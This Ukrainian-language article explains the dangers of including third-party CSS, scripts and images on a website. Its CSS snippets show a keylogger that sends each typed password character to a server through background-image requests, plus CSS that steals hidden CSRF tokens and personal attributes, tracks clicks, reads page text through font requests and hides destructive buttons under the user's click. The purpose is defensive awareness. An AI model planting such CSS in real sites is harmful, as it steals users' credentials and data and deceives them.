Слідкуйте за нами:
Розповідаємо, як ви можете нашкодити своєму сайту, використовуючи сторонній CSS, JavaScript та інші ресурси з чужих серверів.
Наприкінці лютого у мережі з’явився кейлоггер, частково використовує CSS. Атака з його допомогою проста: для кожного символу, введеного в поле з певним type (наприклад, password), генерується запит на сторонній сервер, який нібито запитує фонову картинку:
1
2
3
|
input[type=“password”][value$=“a”] {
background–image: url(“http://localhost:3000/a”);
}
|
На сервері послідовність запитів можна зареєструвати та легко обчислити введений пароль.
У процесі обговорення проблеми деякі запропонували виробникам браузерів зайнятися фіксом. Хтось звернув увагу, що проблема актуальна лише для сайтів на React-подібних фреймворках і переклав провину на них.
Але насправді проблема полягає в тому, щоб вважати сторонній контент безпечним.
Сторонні картинки
1
|
<img src = “https://example.com/kitten.jpg”>
|
Якщо ви додасте зображення такого виду на сайт, ви потрапите у залежність від example.com. Вони можуть підставити вас у різний спосіб, наприклад, видалити картинку – ви отримаєте 404 замість зображення. А можуть просто замінити зображення котика на щось менш приємне.
Ви можете попередити своїх користувачів, що зображення додано зі стороннього ресурсу і ви не маєте до нього відношення. Так ви трохи себе убезпечите від неприємностей. Але, звичайно, при додаванні простої картинки ви не надаєте доступу до паролів.
Сторонні скрипти
1
|
<script src=“https://example.com/script.js”></script>
|
Цей приклад набагато цікавіший для example.com, тому що додаючи скрипт з їхнього сайту ви даєте їм набагато більше контролю над своїм. У цьому випадку example.com може:
- Читати/змінювати вміст сторінки.
- Відстежувати кожну дію користувача.
- Запускати важкий для обчислення код (наприклад, криптомайнер).
- Запитувати куки.
- Читати/змінювати локальне сховище.
Іншими словами тепер example.com може багато чого.
Взаємодія з локальним сховищем у майбутньому приносить ще більше проблем. Сторонній ресурс матиме доступ до вашого сайту, навіть після видалення скрипту зі сторінки. Якщо ви додаєте сторонній скрипт на сайт, ви повинні абсолютно довіряти джерелу та його безпеці.
Якщо ви таки зіткнулися з поганим скриптом, спробуйте скористатися Clear-Site-Data header.
Сторонній CSS
1
|
<link rel=“stylesheet” href=“https://example.com/style.css”>
|
Сторонній CSS-код за впливом на сайт знаходиться між картинкою та скриптом. Чужий CSS вміє:
- Видаляти/змінювати/додавати контент на сторінці.
- Робити запити, ґрунтуючись на вмісті сторінки.
- Реагувати на багато дій користувача.
CSS не зможе взаємодіяти з локальним сховищем і криптомайнер на сторінку не вбудує, проте може завдати чимало шкоди власнику ресурсу.
Кейлоггер
Дещо модифікуємо CSS з початку статті:
1
2
3
|
input[type=“password”][value$=“a”] {
background–image: url(“/password?a”);
}
|
Цей код надсилатиме дані про введений символ «a» в обробник під виглядом запиту картинки. Повторіть код для кожного символу і ось у вас є кейлоггер на CSS.
За замовчуванням браузери не зберігають введені користувачем символи в атрибуті value, тому цей трюк спрацює при використанні чогось, що синхронізує подібні значення, наприклад, React.
Зрозуміло, ця проблема може бути вирішена на боці Реакту та подібних фреймворків. Але тоді буде вирішено лише конкретний випадок, а решта проблем залишиться.
Зникаючий контент
1
2
3
4
5
6
7
|
body {
display: none;
}
html::after {
content: “HTTP Server Server Error”;
}
|
Це, звичайно, дуже своєрідний приклад, але все ж таки робітник. Уявіть, якщо ваші користувачі при заході на сайт бачитимуть замість звичної головної сторінки незрозумілу помилку. Так само сторонній код може видалити, наприклад, кнопку «купити» або зробити якусь ще неприємність.
Додавання контенту
1
2
3
|
.price–value::before {
content: “1”;
}
|
І так просто ваші ціни злетіли.
Переміщення контенту
1
2
3
4
5
6
|
.delete–everything–button {
opacity: 0;
position: absolute;
top: 500px;
left: 300px;
}
|
Візьміть кнопку, яка робить щось жахливе, і що користувач просто так не натисне, зробіть її прозорою і помістіть туди, куди користувач обов’язково клікне.
Звичайно, якщо кнопка робить щось дійсно важливе, користувач спочатку побачить застережливий діалог. Але це не проблема: просто потрібно більше CSS. Наприклад, можна змінити вміст кнопки «О, господи, ні!», на «Звичайно, я певен».
Уявіть, що виробники браузерів поправили трюк із кейлоггером. Зловмисники просто поміщають зайве текстове поле поверх важливого поля з типом password, і вони знову зайняті справою.
Читання атрибутів
У value та інших атрибутах необов’язково зберігаються паролі: зловмисник може знайти щось цікаве.
1
2
3
4
5
|
<input type=“hidden” name=“csrf” value=“1687594325”>
<img src=“/avatars/samanthasmith83.jpg”>
<iframe src=“//cool-maps-service/show?st-pancras-london”></iframe>
<img src=“/gender-icons/female.png”>
<div class=“banner users–birthday–today»></div>
|
Всі ці дані можна зібрати селекторами CSS і відправити, куди слід.
Відстеження взаємодій
1
2
3
4
5
6
7
|
.login–button:hover {
background: url(“/login-button-hover”);
}
.login–button:active {
background: url(“/login-button-active”);
}
|
Такі псевдоселектори, як hover та active, допоможуть скласти картину того, що робить користувач на сайті.
Читання текстового контенту
1
2
3
4
5
6
7
8
9
|
@font–face {
font–family: blah;
src: url(“/page-contains-q”) format(“woff”);
unicode–range: U+85;
}
html {
font–family: blah, sans–serif;
}
|
У цьому прикладі запит буде надіслано, якщо сторінка містить символ «q». Можна створити безліч таких шматочків коду для відстеження конкретних слів, символів чи послідовностей символів.
Це лише мала частина прикладів того, що може зробити зловмисник із вашим сайтом, якщо застосує фантазію. Будьте обережні, використовуючи сторонній CSS та інший контент із чужих серверів.